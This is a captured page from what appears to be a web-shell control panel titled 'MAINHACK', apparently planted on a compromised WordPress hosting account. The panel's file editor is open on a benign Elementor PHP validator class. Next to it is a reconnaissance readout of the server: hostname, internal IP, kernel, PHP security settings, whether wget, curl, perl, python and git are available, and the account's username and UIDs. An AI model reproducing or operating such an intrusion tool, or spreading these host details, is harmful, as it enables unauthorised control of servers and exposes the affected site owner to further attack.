[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: save-components-validator.php
<?php namespace Elementor\Modules\Components; use Elementor\Core\Utils\Collection; use Elementor\Modules\Components\Documents\Component; if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } class Save_Components_Validator { private Collection $components; public function __construct( Collection $components ) { $this->components = $components; } public static function make( Collection $components ) { return new static( $components ); } public function validate( Collection $data ) { $errors = Collection::make( [ $this->validate_count( $data ), $this->validate_duplicated_values( $data ), ] )->flatten(); if ( $errors->is_empty() ) { return [ 'success' => true, 'messages' => [], ]; } return [ 'success' => false, 'messages' => $errors->values(), ]; } private function validate_count( Collection $data ): array { $non_archived_components = $this->components->filter( fn ( $component ) => ! $component['is_archived'] ); $count = $non_archived_components->count() + $data->count(); if ( $count > Components_REST_API::MAX_COMPONENTS ) { return [ esc_html__( 'Maximum number of components exceeded.', 'elementor' ) ]; } return []; } private function validate_duplicated_values( Collection $data ): array { return $data ->map( function ( $component ) use ( $data ) { $errors = []; $title = $component['title']; $uid = $component['uid']; $is_title_exists = $this->components->some( fn ( $component ) => ! $component['is_archived'] && $component['title'] === $title ) || $data->filter( fn ( $component ) => ! $component['title'] === $title )->count() > 1; if ( $is_title_exists ) { $errors[] = [ sprintf( // translators: %s Component title. esc_html__( "Component title '%s' is duplicated.", 'elementor' ), $title ), ]; } $is_uid_exists = $this->components->some( fn ( $component ) => $component['uid'] === $uid ) || $data->filter( fn ( $component ) => $component['uid'] === $uid )->count() > 1; if ( $is_uid_exists ) { $errors[] = [ sprintf( // translators: %s Component uid. esc_html__( "Component uid '%s' is duplicated.", 'elementor' ), $uid ), ]; } return $errors; } ) ->flatten() ->flatten() ->unique() ->values(); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: webm021.cluster127.gra.hosting.ovh.net
Server IP: 10.127.20.21
PHP Version: 8.4.22
Server Software: Apache
System: Linux webm021.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
HDD Total: 14.32 GB
HDD Free: 8.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
Exists
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: vcomplcotr
User ID (UID): 38697
Group ID (GID): 100
Script Owner UID: 38697
Current Dir Owner: 38697